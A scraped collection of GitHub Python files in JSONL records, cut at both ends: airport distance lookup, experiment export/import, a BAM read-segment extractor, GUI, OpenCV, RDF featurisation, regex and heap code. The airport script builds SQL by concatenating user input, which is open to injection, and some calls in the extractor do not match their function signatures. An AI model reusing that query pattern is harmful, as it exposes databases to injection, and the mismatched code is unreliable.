autocommit=True\n)\n\n\ndef haeKoordinaatit(maak):\n sql = \"SELECT latitude_deg, longitude_deg FROM airport\"\n sql += \" WHERE ident = '\" + maak + \"'\"\n cursor = connection.cursor()\n cursor.execute(sql)\n result = cursor.fetchone()\n cursor.close()\n return (result[0], result[1])\n\nmaak1 = input(\"Anna ICAO 1:\")\nkoordinaatit1 = haeKoordinaatit(maak1)\n\nmaak2 = input(\"Anna ICAO 2:\")\nkoordinaatit2 = haeKoordinaatit(maak2)\n\nif koordinaatit1 and koordinaatit2:\n distance = geodesic(koordinaatit1, koordinaatit2).kilometers\n print(f\"The distance between {maak1} and {maak2} is approximately {distance:.2f} kilometers.\")\nelse:\n print(\"Invalid ICAO codes. Make sure the airports exist in the database.\")\n","repo_name":"AapoX/Python-Metropolia","sub_path":"mod8/t8-3.py","file_name":"t8-3.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37468459929","text":"import base64\nfrom functools import partial\nimport json\nimport sys\nimport textwrap\nimport typing as tp\nimport zlib\n\n\nfrom .main import DecoratedMain\nfrom .log import fatal, simple_log\n\nlog = partial(simple_log, \"Export:\")\n\n\ndef dump(value):\n bits = zlib.compress(json.dumps(value).encode())\n b64 = base64.b64encode(bits)\n return textwrap.fill(b64.decode())\n\n\ndef load(b64):\n b64 = \"\".join([line.strip() for line in b64.split('\\n')])\n bits = base64.b64decode(b64)\n jsoned = zlib.decompress(bits)\n return json.loads(jsoned.decode())\n\n\ndef export_action(args, main: DecoratedMain):\n all_argv = []\n for sig in args.sigs:\n try:\n xp = main.get_xp_from_sig(sig)\n except RuntimeError as error:\n fatal(f\"Error loading XP {sig}: {error.args[0]}\")\n all_argv.append(xp.argv)\n print()\n print(dump(all_argv))\n print()\n print()\n\n\ndef import_action(args, main: DecoratedMain):\n buffer: tp.List[str] = []\n for line in sys.stdin:\n line = line.strip()\n if not line and buffer:\n break\n if line:\n buffer.append(line)\n all_argv = load(\"\".join(buffer))\n for argv in all_argv:\n xp = main.get_xp(argv)\n main.init_xp(xp)\n name = main.get_name(xp)\n log(f\"Imported XP {xp.sig}: {name}\")\n","repo_name":"facebookresearch/dora","sub_path":"dora/share.py","file_name":"share.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":199,"dataset":"github-code","pt":"52"} +{"seq_id":"18058267279","text":"import logging\nimport time\nimport os\nimport sys\n\nimport click\nimport click_log\n\nimport tqdm\nimport pysam\n\nimport longbow.utils.constants\nfrom ..utils import bam_utils\n\nfrom ..utils.bam_utils import SegmentInfo, get_segments\nfrom ..utils.cli_utils import get_field_count_and_percent_string\nfrom ..utils.cli_utils import zero_safe_div\n\nfrom .segment import create_simple_delimiters\nfrom .segment import segment_read_with_simple_splitting\nfrom .segment import create_simple_split_array_element\n\nlogging.basicConfig(stream=sys.stderr)\nlogger = logging.getLogger(\"extract\")\nclick_log.basic_config(logger)\n\n\n@click.command(name=logger.name)\n@click_log.simple_verbosity_option(logger)\n@click.option(\n \"-p\",\n \"--pbi\",\n required=False,\n type=click.Path(exists=True),\n help=\"BAM .pbi index file\",\n)\n@click.option(\n \"-o\",\n \"--output-bam\",\n default=\"-\",\n type=click.Path(exists=False),\n help=\"extracted bam output. [default: stdout]\",\n)\n@click.option(\n '-f',\n '--force',\n is_flag=True,\n default=False,\n show_default=True,\n help=\"Force overwrite of the output files if they exist.\"\n)\n@click.option(\n \"--create-barcode-conf-file\",\n required=False,\n is_flag=True,\n default=False,\n help=f\"Create a barcode confidence score file based on the barcodes in the given model. \"\n f\"This only applies for models that have annotation_segments where one such segment \"\n f\"is annotated into the raw barcode field ({longbow.utils.constants.READ_RAW_BARCODE_TAG})\",\n)\n@click.option(\n \"-b\",\n \"--base-padding\",\n default=2,\n required=False,\n show_default=True,\n type=int,\n help=\"Number of bases to include on either side of the extracted region(s).\",\n)\n@click.option(\n \"--leading-adapter\",\n default=None,\n required=False,\n type=str,\n help=\"Adapter preceding the region to extract. Required if the given model does not name a `coding_region`.\",\n)\n@click.option(\n \"--trailing-adapter\",\n default=None,\n required=False,\n type=str,\n help=\"Adapter following the region to extract. Required if the given model does not name a `coding_region`.\",\n)\n@click.option(\n # CBC + UMI for MAS15 is 26\n \"--start-offset\",\n default=None,\n required=False,\n show_default=True,\n type=int,\n help=\"Number of bases to ignore from the extracted region start. \"\n \"These bases will not be included in the extracted sequences. \"\n \"Required if the given model does not name a `coding_region`.\",\n)\n@click.option(\n \"-m\",\n \"--model\",\n help=\"The model to use for annotation. If not specified, it will be autodetected from \"\n \"the BAM header. If the given value is a pre-configured model name, then that \"\n \"model will be used. Otherwise, the given value will be treated as a file name \"\n \"and Longbow will attempt to read in the file and create a LibraryModel from it. \"\n \"Longbow will assume the contents are the configuration of a LibraryModel as per \"\n \"LibraryModel.to_json().\"\n)\n@click.argument(\"input-bam\", default=\"-\" if not sys.stdin.isatty() else None, type=click.File(\"rb\"))\ndef main(pbi, output_bam, force, base_padding, create_barcode_conf_file,\n leading_adapter, trailing_adapter, start_offset, model, input_bam):\n \"\"\"Extract coding segments from the reads in the given bam.\n The main coding segments are assumed to be labeled as `random` segments or labeled with the same name as the\n `coding_region` in the model (if specified).\n\n For `random` segment extraction:\n Uses known segments flanking the region to be extracted as markers to indicate\n the start and end of what to extract.\n\n For `coding_region` segment extraction:\n Looks for any section of the reads labeled with the same name as the `coding_region` in the model, regardless of\n position.\n \"\"\"\n\n t_start = time.time()\n\n logger.info(\"Invoked via: longbow %s\", \" \".join(sys.argv[1:]))\n\n # Check to see if the output file exists:\n bam_utils.check_for_preexisting_files(output_bam, exist_ok=force)\n\n logger.info(f\"Writing extracted read segments to: {output_bam}\")\n logger.info(f\"Including {base_padding} flanking bases.\")\n\n pbi = f\"{input_bam.name}.pbi\" if pbi is None else pbi\n read_count = None\n if os.path.exists(pbi):\n read_count = bam_utils.load_read_count(pbi)\n logger.info(\"About to Extract segments from %d reads\", read_count)\n if not read_count:\n read_count = bam_utils.get_read_count_from_bam_index(input_bam)\n if read_count:\n logger.info(\"About to Extract segments from %d reads\", read_count)\n\n # Get our model:\n lb_model = bam_utils.load_model(model, input_bam)\n logger.info(f\"Using {lb_model.name}: {lb_model.description}\")\n\n # Open our input bam file:\n pysam.set_verbosity(0)\n with pysam.AlignmentFile(input_bam, \"rb\", check_sq=False, require_index=False) as bam_file:\n\n # Validate our command line arguments:\n if lb_model.has_coding_region:\n logger.info(f\"Extracting coding region from model {lb_model.name}: {lb_model.coding_region}\")\n else:\n # TODO: We should talk about deprecating and removing this and all related logic.\n # We don't have a model with a coding region.\n # We MUST make sure we have the other inputs that we need:\n missing_args = []\n\n if leading_adapter is None:\n missing_args.append(\"--leading-adapter\")\n if trailing_adapter is None:\n missing_args.append(\"--trailing-adapter\")\n if start_offset is None:\n missing_args.append(\"--start-offset\")\n\n if len(missing_args) > 0:\n message = f\"ERROR: the following arguments must be specified when using a model that has no \" \\\n f\"`coding_region`: {', '.join(missing_args)}\"\n logger.critical(message)\n raise RuntimeError(message)\n\n logger.info(f\"Extracting `{longbow.utils.constants.RANDOM_SEGMENT_NAME}` segments between {leading_adapter} and {trailing_adapter}.\")\n logger.info(f\"Ignoring the first {start_offset} bases from extracted read segments.\")\n\n # Set up our barcode confidence file here:\n barcode_conf_file = None\n if create_barcode_conf_file:\n if lb_model.has_cell_barcode_annotation:\n logger.info(f\"Creating barcode confidence file: {longbow.utils.constants.BARCODE_CONF_FILE_NAME}\")\n barcode_conf_file = open(longbow.utils.constants.BARCODE_CONF_FILE_NAME, 'w')\n else:\n logger.warning(\"Model does not have a barcode output, but barcode creation flag was given. \"\n \"Barcode confidence file will NOT be created.\")\n\n # Get our delimiters here just in case we have to split the reads later:\n delimiters = create_simple_delimiters(lb_model)\n\n # Get our header from the input bam file:\n out_header = pysam.AlignmentHeader.from_dict(\n bam_utils.create_bam_header_with_program_group(logger.name, bam_file.header)\n )\n\n # Setup output files:\n with pysam.AlignmentFile(output_bam, \"wb\", header=out_header) as extracted_bam_file:\n\n num_reads = 0\n num_reads_with_extracted_segments = 0\n num_segments_extracted = 0\n num_segments_skipped = 0\n\n for read in tqdm.tqdm(bam_file, desc=\"Progress\", unit=\" read\", colour=\"green\", file=sys.stderr,\n disable=not sys.stdin.isatty(), total=read_count):\n\n # Get our read segments:\n try:\n seq, segment_ranges, segment_cigars = get_segments(read)\n except KeyError:\n logger.error(f\"Input bam file does not contain longbow segmented reads! \"\n f\"No {longbow.utils.constants.SEGMENTS_TAG} tag detected on read {read.query_name} !\")\n sys.exit(1)\n\n # Check if the read is already segmented:\n if (not read.has_tag(longbow.utils.constants.READ_IS_SEGMENTED_TAG)) or \\\n (not read.get_tag(longbow.utils.constants.READ_IS_SEGMENTED_TAG)):\n\n # The read is not segmented.\n # We should segment it first and then go through our segments one by one:\n logger.debug(f\"Read must be segmented prior to extraction: {read.query_name}\")\n segmented_reads = []\n segment_bounds_tuples = segment_read_with_simple_splitting(read, delimiters, segment_ranges)\n for prev_delim_name, delim_name, start_coord, end_coord in segment_bounds_tuples:\n segmented_reads.append(\n create_simple_split_array_element(\n delim_name, end_coord, lb_model, prev_delim_name, read,\n segment_ranges, segment_cigars, start_coord\n )\n )\n else:\n # Read is already segmented, so we don't have to do anything else:\n segmented_reads = [read]\n\n extracted_segment = False\n for r in segmented_reads:\n segment_ranges = _get_segments_only(r)\n segment_cigars = _get_segment_cigars_only(r)\n segment_quals = _get_segment_quals_only(r)\n\n # If our model has a coding region, we should use it:\n if lb_model.has_coding_region:\n es, nsx, nss = \\\n _extract_region_from_model_with_coding_region(r, segment_ranges, segment_cigars,\n segment_quals, lb_model, base_padding,\n extracted_bam_file, barcode_conf_file)\n else:\n # We do not have a coding section, so we'll need to do things the old fashioned way:\n es, nsx, nss = \\\n _extract_region_from_model_without_coding_region(r, segment_ranges, segment_cigars,\n segment_quals, leading_adapter,\n trailing_adapter, start_offset,\n base_padding, extracted_bam_file,\n barcode_conf_file)\n\n # Track our stats:\n extracted_segment |= es\n num_segments_extracted += nsx\n num_segments_skipped += nss\n\n num_reads += 1\n if extracted_segment:\n num_reads_with_extracted_segments += 1\n\n # Close our barcode file if it was opened:\n if barcode_conf_file is not None:\n barcode_conf_file.close()\n\n # Calc some stats:\n count_str, pct_str = get_field_count_and_percent_string(num_reads_with_extracted_segments, num_reads)\n segs_per_read = zero_safe_div(num_segments_extracted, num_reads)\n\n # Yell at the user:\n logger.info(f\"Done. Elapsed time: {time.time() - t_start:2.2f}s.\")\n logger.info(f\"Total # Reads Processed: {num_reads}\")\n logger.info(f\"# Reads Containing Extracted Segments: {count_str} {pct_str}\")\n logger.info(f\"Total # Segments Extracted: {num_segments_extracted}\")\n logger.info(f\"Total # Segments Skipped: {num_segments_skipped}\")\n logger.info(f\"# Segments extracted per read: {segs_per_read:2.2f}\")\n\n\ndef _get_segments_only(read):\n \"\"\"Get the segments corresponding to a particular read by reading the segments tag information.\"\"\"\n return [\n SegmentInfo.from_tag(s) for s in read.get_tag(longbow.utils.constants.SEGMENTS_TAG).split(\n longbow.utils.constants.SEGMENT_TAG_DELIMITER)\n ]\n\n\ndef _get_segment_cigars_only(read):\n \"\"\"Get the segment cigars corresponding to a particular read by reading the segments tag information.\"\"\"\n return read.get_tag(longbow.utils.constants.SEGMENTS_CIGAR_TAG).split(longbow.utils.constants.SEGMENT_TAG_DELIMITER)\n\n\ndef _get_segment_quals_only(read):\n \"\"\"Get the segment quals corresponding to a particular read by reading the segments tag information.\"\"\"\n return read.get_tag(longbow.utils.constants.SEGMENTS_QUAL_TAG).split(longbow.utils.constants.SEGMENT_TAG_DELIMITER)\n\n\ndef _extract_region_from_model_without_coding_region(array_element_read, segments, leading_adapter,\n trailing_adapter, start_offset, base_padding, extracted_bam_file,\n barcode_conf_file):\n # Get our marker segments:\n start_marker_list = [(i, s) for i, s in enumerate(segments) if s.name == leading_adapter]\n end_marker_list = [(i, s) for i, s in enumerate(segments) if s.name == trailing_adapter]\n\n if len(start_marker_list) != len(end_marker_list):\n logger.warning(\n f\"Found {len(start_marker_list)} start markers and {len(end_marker_list)} end markers. \"\n f\"Only looking at first {min(len(start_marker_list), len(end_marker_list))} pairs. \"\n f\"(starts: {' '.join(f'{i}:{s.name}' for i, s in start_marker_list)}, \"\n f\" ends: {' '.join(f'{i}:{s.name}' for i, s in end_marker_list)})\",\n )\n\n extracted_segment = False\n\n num_segments_skipped = 0\n num_segments_extracted = 0\n\n # Go through each marker pair and do the extraction:\n for s_info, e_info in zip(start_marker_list, end_marker_list):\n\n si, start_marker = s_info\n ei, end_marker = e_info\n\n # Does the start marker come before the end marker and do we have exactly one random segment in\n # between them?\n if (start_marker.end < end_marker.start) and (ei - si == 2) and (\n segments[si + 1].name == \"random\"):\n # We have a valid segment to extract:\n logger.debug(\"Found a segment to extract: %s: %s\", array_element_read.query_name, segments[si + 1])\n\n # Create an AlignedSegment to output:\n aligned_segment = _create_extracted_aligned_segment(\n array_element_read, segments[si + 1], start_offset, base_padding, barcode_conf_file\n )\n\n if aligned_segment:\n extracted_bam_file.write(aligned_segment)\n num_segments_extracted += 1\n extracted_segment = True\n else:\n num_segments_skipped += 1\n else:\n if start_marker.end >= end_marker.start:\n logger.warning(\n \"Read %s: start marker segment (i=%d) occurs at or after end segment (i=%d):\"\n \" %d >= %d. Skipping segment.\",\n array_element_read.query_name, si, ei, start_marker.end, end_marker.start)\n elif ei - si != 2:\n logger.warning(\n \"Read %s: start segment (i=%d) and end segment (i=%d) have more than one \"\n \"segment between them. Skipping segment.\", array_element_read.query_name, si, ei)\n elif segments[si + 1].name != \"random\":\n logger.warning(\"Read %s: segment between start segment (i=%d) and end segment (i=%d) \"\n \"is not a random segment. Skipping segment.\", array_element_read.query_name, si, ei)\n num_segments_skipped += 1\n\n return extracted_segment, num_segments_extracted, num_segments_skipped\n\n\ndef _extract_region_from_model_with_coding_region(array_element_read, segment_ranges, segment_cigars, segment_quals, m,\n base_padding, extracted_bam_file, barcode_conf_file):\n # Get our marker segments:\n # NOTE: Even though this is a list, we only expect one segment to be here:\n extraction_segments = []\n extraction_cigars = []\n extraction_quals = []\n for i in range(len(segment_ranges)):\n if segment_ranges[i].name == m.coding_region:\n extraction_segments.append(segment_ranges[i])\n extraction_cigars.append(segment_cigars[i])\n extraction_quals.append(segment_quals[i])\n\n if len(extraction_segments) == 0:\n logger.debug(f\"Did not find coding region in read: {array_element_read.query_name}:, {segment_ranges}\")\n return False, 0, 1\n\n else:\n if len(extraction_segments) > 1:\n logger.debug(\n f\"Found {len(extraction_segments)} coding regions in read \"\n f\"{array_element_read.query_name}: {extraction_segments}. \"\n f\"Only looking at first coding region. All Segments: {segment_ranges}\"\n )\n\n # Create an AlignedSegment to output:\n aligned_segment = _create_extracted_aligned_segment(\n array_element_read, extraction_segments[0], extraction_cigars[0], extraction_quals[0], 0, base_padding,\n barcode_conf_file\n )\n\n if aligned_segment:\n extracted_bam_file.write(aligned_segment)\n return True, 1, 0\n else:\n return False, 0, 1\n\n\ndef _create_extracted_aligned_segment(read, seg_to_extract, cig_to_extract, qual_to_extract, start_offset, base_padding,\n barcode_conf_file):\n \"\"\"Create a pysam.AlignedSegment object to store the information from the extracted bases.\"\"\"\n\n start_coord = seg_to_extract.start + start_offset - base_padding\n end_coord = seg_to_extract.end + base_padding\n\n # Bounds check our coords:\n if start_coord < 0:\n logger.debug(\"Calculated start for %s would start before read begins. Setting to 0.\", read.query_name)\n start_coord = 0\n elif start_coord >= len(read.query_sequence):\n logger.warning(\"Start coord for %s would start after read. Cannot process.\", read.query_name)\n return None\n\n if end_coord < 0:\n logger.warning(\"End coord for %s would start before read. Cannot process.\", read.query_name)\n return None\n elif end_coord >= len(read.query_sequence):\n logger.debug(\"Calculated end for %s would start after read ends. Setting to 0.\", read.query_name)\n end_coord = len(read.query_sequence)-1\n\n if end_coord <= start_coord:\n logger.warning(\"Start coord for %s would start at or after end coord. Cannot process.\", read.query_name)\n return None\n\n # Create our segment:\n a = pysam.AlignedSegment()\n a.query_name = read.query_name\n # Add one to end_coord because coordinates are inclusive:\n a.query_sequence = f\"{read.query_sequence[start_coord:end_coord+1]}\"\n a.query_qualities = read.query_alignment_qualities[start_coord: end_coord + 1]\n a.tags = read.get_tags()\n a.flag = 4 # unmapped flag\n a.mapping_quality = 255\n a.set_tag(longbow.utils.constants.READ_ALTERED_NAME_TAG, f\"{read.query_name}/{start_coord}_{end_coord}\")\n a.set_tag(longbow.utils.constants.SEGMENTS_TAG, f\"{seg_to_extract.name}\"\n f\"{longbow.utils.constants.SEGMENT_POS_DELIMITER}0\"\n f\"-{end_coord-start_coord}\")\n a.set_tag(longbow.utils.constants.SEGMENTS_CIGAR_TAG, cig_to_extract)\n a.set_tag(longbow.utils.constants.SEGMENTS_QUAL_TAG, qual_to_extract)\n\n # Write our barcode confidence to the file if we have to:\n if barcode_conf_file is not None and a.has_tag(longbow.utils.constants.READ_BARCODE_CONF_FACTOR_TAG):\n barcode_conf_file.write(f\"{a.get_tag(longbow.utils.constants.READ_RAW_BARCODE_TAG)}\\t\"\n f\"{a.get_tag(longbow.utils.constants.READ_BARCODE_CONF_FACTOR_TAG)}\\n\")\n\n return a\n","repo_name":"broadinstitute/longbow","sub_path":"src/longbow/commands/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":20013,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"52"} +{"seq_id":"39714574871","text":"import tkinter as tk\nfrom src.gui.edit.commands import Commands\nfrom src.gui.edit.components import Components\nfrom src.gui.edit.controls import Controls\nfrom src.gui.interfaces import LabelFrame, Frame\n\n\nclass Routine(LabelFrame):\n def __init__(self, parent, **kwargs):\n super().__init__(parent, 'Routine', **kwargs)\n\n self.rowconfigure(0, weight=1)\n self.columnconfigure(0, weight=1)\n\n self.list_frame = Frame(self)\n self.list_frame.grid(row=0, column=0, sticky=tk.NSEW)\n self.list_frame.rowconfigure(0, weight=1)\n\n self.components = Components(self.list_frame)\n self.components.grid(row=0, column=0, sticky=tk.NSEW)\n\n self.commands_var = tk.StringVar()\n\n self.commands = Commands(self.list_frame)\n self.commands.grid(row=0, column=1, sticky=tk.NSEW)\n\n self.controls = Controls(self)\n self.controls.grid(row=1, column=0)\n","repo_name":"tanjeffreyz/auto-maple","sub_path":"src/gui/edit/routine.py","file_name":"routine.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":315,"dataset":"github-code","pt":"52"} +{"seq_id":"2722854262","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 29 03:10:47 2021\n\n@author: fafa\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nf = lambda x: np.exp(x) - 5*x**2\na = -0.5\nb = 1.4\nh = 0.1\nx = np.arange(a,b+h,h)\ny = f(x)\n\nplt.plot(x,y)\nplt.grid(axis='both')","repo_name":"miftanurfarid/metode_numerik","sub_path":"slide/2021/02.solusi_persamaan_nirlanjar/code/01.cari_selang_kecil.py","file_name":"01.cari_selang_kecil.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14604401334","text":"import cv2\nimport numpy as np\nimport os\n\n\nimg = cv2.imread(os.getcwd()+ '/images/pipes2.jpg',0)\nequ = cv2.equalizeHist(img)\nimg = cv2.medianBlur(equ,5)\n#output = img.copy()\ncimg = cv2.cvtColor(equ, cv2.COLOR_GRAY2BGR)\n\ncircles = cv2.HoughCircles(equ, cv2.HOUGH_GRADIENT, 1 , 10,\n param1=30,param2=50, minRadius=5, maxRadius=30)\n\ni=0\nif circles is not None:\n\t# convert the (x, y) coordinates and radius of the circles to integers\n\tcircles = np.round(circles[0, :]).astype(\"int\")\n\t# loop over the (x, y) coordinates and radius of the circles\n \n\tfor (x, y, r) in circles:\n\t\ti= i+1\n # draw the circle in the output image, then draw a rectangle\n\t\t# corresponding to the center of the circle\n\t\tcv2.circle(cimg, (x, y), r, (0, 255, 0), 1)\n\t\tcv2.rectangle(cimg, (x - 5, y - 5), (x + 5, y + 5), (0, 128, 255), -1)\n \ncv2.imshow('detected circles', cimg)\nprint (i)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"Ameyapores/Finolexpipes","sub_path":"circles.py","file_name":"circles.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20287973214","text":"###########################################################################################################################################################\n# This code is directly ported from Shreyas Honrao's personal repository upon request. The complete rights for this code belong to Shreyas Honrao et.al. \n###########################################################################################################################################################\n\n\n\n\n\nimport numpy as np\nimport scipy\nimport pymatgen as pmg\nimport os.path\nimport pickle\nfrom pymatgen.io.vasp import Poscar\nimport itertools\n\n\n\n\ndef parseData(directoryPath, elements = [\"Li\", \"Ge\"], pairTup = [[\"Li\",\"Li\"], [\"Li\",\"Ge\"], [\"Ge\",\"Ge\"]]):\n \"\"\"\n Creates an input data array for the ML algorithm. For each structure - its RDFMatrix, formation energy, \n molar fraction, groupnumber and stepnumber are stored.\n\n Args:\n directoryPath: path to Archive data folder.\n\n elements: list of elements in the binary system, in this case elem_A and elem_B.\n\n pairTup: list of all element pairs for which the partial RDF is calculated.\n\n \"\"\"\n\n fileList = os.listdir(directoryPath)\n print(\"Total number of structures:\", len(fileList)/2)\n fileList = sorted(fileList) #sorts files so that the energy file is before the poscar file for every structure\n\n numElements = len(elements)\n\n rawData = []\n for i in range(0,len(fileList),2):\n splitStr = fileList[i].split(\".\")\n dftStr = splitStr[0].split(\"_\")\n dftGroupNum = int(dftStr[1]) #every GA relaxation counts as a different dftGroup\n stepNum = int(dftStr[2]) #every ionic step within the relaxation is called a step\n\n energyFilePath = os.path.join(directoryPath, fileList[i])\n energyFileEntry = open(energyFilePath, 'r')\n energy = float(energyFileEntry.readline()) #reads in **energy per atom** for the structure from Archive\n\n poscarFilePath = os.path.join(directoryPath, fileList[i+1])\n tempStruct = Poscar.from_file(poscarFilePath, False).structure\n RDFMatrix = getRDF_Mat(tempStruct, pairTup) #gets RDFMatrix of the structure (for all element pairs listed in the pairTup) using the getRDF_Mat function defined below\n \n molarFracs = [] #calculates the molar fraction of elem_A and elem_B in the structure\n for i in range(0, numElements):\n elem = pmg.Element(elements[i])\n elemPerc = tempStruct.composition.get_atomic_fraction(elem)\n molarFracs.append((elements[i], elemPerc))\n\n molarFracs = dict(molarFracs) \n \n rawData.append([RDFMatrix, energy, molarFracs, dftGroupNum, stepNum]) #creates input data array\n \n refEnergies = [] #gets the reference energies for elem_A and elem_B, calculated as the lowest energy of pure elem crystals in the dataset\n for elem in elements:\n pureElemCrystals = [crystal for crystal in rawData if crystal[2][elem] == 1.0]\n energies = list(zip(*pureElemCrystals))[1]\n minEnergy = min(energies)\n refEnergies.append((elem, minEnergy))\n refEnergies = dict(refEnergies)\n \n formTransData = [] #calculates formation energies of all structures from reference energies of elem_A and elem_B, replaces total energies in input data array with formation eenrgies \n for datum in rawData:\n molarFracs = datum[2]\n formEnergy = datum[1]\n \n if numElements > 1:\n for elem in elements:\n formEnergy = formEnergy - molarFracs[elem]*refEnergies[elem]\n\n else:\n elem = elements[0]\n formEnergy = formEnergy - refEnergies[elem]\n\n datum[1] = formEnergy\n formTransData.append(datum)\n\n groupNumbers = set(map(lambda x:x[3], formTransData)) #groups all ionic steps from a single GA run together \n groupedData = [[crystal for crystal in formTransData if crystal[3] == groupNum] for groupNum in groupNumbers]\n #pickle.dump(groupedData, open(\"LiGe_RDF.p\",\"wb\"))\n return(groupedData) \n\n\n\ndef getRDF_Mat(cell, pairTup, cutOffRad = 10.0, sigma = 0.2, stepSize = 0.1):\n \"\"\"\n Calculates the RDF for every structure.\n\n Args:\n cell: input structure.\n\n pairTup: list of all element pairs for which the partial RDF is calculated.\n\n cutOffRad: max. distance up to which atom-atom intereactions are considered.\n\n sigma: width of the Gaussian, used for broadening\n\n stepSize: bin width, binning transforms the RDF into a discrete representation. \n\n \"\"\"\n\n binRad = np.arange(0, cutOffRad, stepSize) #makes bins based on stepSize and cutOffRad\n numBins = len(binRad)\n numPairs = len(pairTup)\n vec = np.zeros((numPairs, numBins)) #creates zero vector of size 3x100\n \n for index,pair in enumerate(pairTup):\n alphaSpec = pmg.Element(pair[0]) #alphaSpec and betaSpec are the two elements of a pair from the pairTup \n betaSpec = pmg.Element(pair[1])\n hist = np.zeros(numBins) \n neighbors = cell.get_all_neighbors(cutOffRad) #gets all neighboring atoms within cutOffRad for alphaSpec and betaSpec\n \n sites = cell.sites #all sites within unit cell\n #volume = pmg.core.structure.IStructure.from_sites(sites).volume #gets volme of unit cell\n indicesA = [j[0] for j in enumerate(sites) if j[1].specie == alphaSpec] #gets all alphaSpec sites within the unit cell\n numAlphaSites = len(indicesA)\n indicesB = [j[0] for j in enumerate(sites) if j[1].specie == betaSpec] #gets all betaSpec sites within the unit cell\n numBetaSites = len(indicesB)\n \n if numAlphaSites == 0 or numBetaSites == 0:\n vec[index] = hist #partial RDF for an alphaSpec-betaSpec pair is zero everywhere if no alphaSpec or no betaSpec atoms are present in the structure\n continue \n\n alphaNeighbors = [neighbors[i] for i in indicesA] #neighbors of alphaSpec only \n \n alphaNeighborDistList = []\n for aN in alphaNeighbors:\n tempNeighborList = [neighbor for neighbor in aN if neighbor[0].specie==betaSpec] #neighbors of alphaSpec that are betaSpec\n alphaNeighborDist = []\n for j in enumerate(tempNeighborList):\n alphaNeighborDist.append(j[1][1])\n alphaNeighborDistList.append(alphaNeighborDist) #add the neighbor distances of all such neighbors to a list\n\n for aND in alphaNeighborDistList:\n for dist in aND: #apply gaussian broadening to the neigbor distances, so the effect of having a neighbor at distance x is spread out over few bins around x\n inds = dist/stepSize\n inds = int(inds)\n lowerInd = inds-5\n if lowerInd < 0:\n while lowerInd < 0:\n lowerInd = lowerInd + 1\n upperInd = inds+5\n if upperInd >= numBins:\n while upperInd >= numBins:\n upperInd = upperInd - 1\n ind = range(lowerInd, upperInd)\n evalRad = binRad[ind] \n exp_Arg = .5 *( ( np.subtract( evalRad, dist)/ (sigma) )**2) #calculate RDF value for each bin\n rad2 = np.multiply(evalRad, evalRad) #add a 1/r^2 normalization term, check paper for descripton\n hist[ind] += np.divide(np.exp(-exp_Arg), rad2)\n \n tempHist = hist/numAlphaSites #divide by number of AlphaSpec atoms in the unit cell to give the final partial RDF\n vec[index] = tempHist\n \n vec = np.row_stack((vec[0], vec[1], vec[2])) #combine all 3 partials RDFs to get RDFMatrix\n return vec\n\n\ndef filterEnergies(dftRuns, lowCutoff, highCutoff):\n \n filteredData = []\n mlData = list(itertools.chain(*dftRuns))\n \n for i in range(len(mlData)):\n if mlData[i][1] > lowCutoff and mlData[i][1] < highCutoff and mlData[i][2]:\n filteredData.append(mlData[i])\n \n groupNumIndice = 3\n groupNumbers = set(map(lambda x:x[groupNumIndice], filteredData))\n dftRuns = [[crystal for crystal in filteredData if crystal[groupNumIndice]==groupNum] for groupNum in groupNumbers]\n\n return(dftRuns)\n\nif __name__ == \"__main__\":\n \n groupedData = parseData(directoryPath = \"data/Archive/\")\n filteredData = filterEnergies(groupedData, lowCutoff=-0.5, highCutoff=0.2) \n \n with open('data/cleanedData.pickle', 'wb') as handle:\n pickle.dump(filteredData, handle, protocol=pickle.HIGHEST_PROTOCOL)","repo_name":"rahul-aedula95/ScientificML","sub_path":"30/data_extract.py","file_name":"data_extract.py","file_ext":"py","file_size_in_byte":8523,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"14298558991","text":"#ques1\nimport re\nemail=\"zuck26@facebook.com\"\\\n \"page23@google.com\"\\\n \"jeff42@amazon.com\"\npattern=(r'(\\w+)@([{a-z0-9})\\.([a-z]{2,4})')\nprint(re.findall(pattern,email,flags=re.IGNORECASE))\n\n\n#ques2\ndef getword(text,letter):\n regx = (r'[\\w]*'+letter+r'[\\w]*')\n return (re.findall(regx,text,re.I))\n\nt = \"Betty bought a bit of butter, But the butter was so bitter, So she bought some better butter, To make the bitter butter better.\"\nresult=getword(t,\"b\")\nprint(result)\n\n#ques3\nstr = \"A , very very ; irregular_sentence\"\nprint(\"\".join(re.split('[;,\\s_]+', str)))","repo_name":"shubomnath88/assignment3","sub_path":"assignment15.py","file_name":"assignment15.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"42133904384","text":"class MaxHeap:\n def __init__(self, max_size):\n \"\"\"\n heap[0] = root\n heap[count-1] = bottom-most, right-most node\n heap[count] = bottom-most, left-most empty spot\n heap[2i+1] = node.left\n heap[2i+2] = node.right\n heap[(i-1)//2] = node.parent\n \"\"\"\n self.heap = [None] * max_size\n self.count = 0\n\n def push(self, value):\n # Insert in bottom-most, left-most empty spot\n self.heap[self.count] = value\n self.count += 1\n\n # Reheapification - swap values with parent until in right place\n current_idx = self.count - 1\n parent_idx = (current_idx-1) // 2\n while (True):\n # Change this line for MinHeap\n if current_idx == 0 or self.heap[current_idx] <= self.heap[parent_idx]:\n break\n else:\n self.heap[current_idx], self.heap[parent_idx] = self.heap[parent_idx], self.heap[current_idx]\n\n current_idx = parent_idx\n parent_idx = (current_idx-1) // 2\n\n def pop(self):\n assert self.count > 0, \"No items in heap\"\n return_value = self.heap[0]\n\n if self.count == 1:\n self.count -= 1\n return return_value\n else:\n # Replace with bottom-most, right-most node\n self.heap[0] = 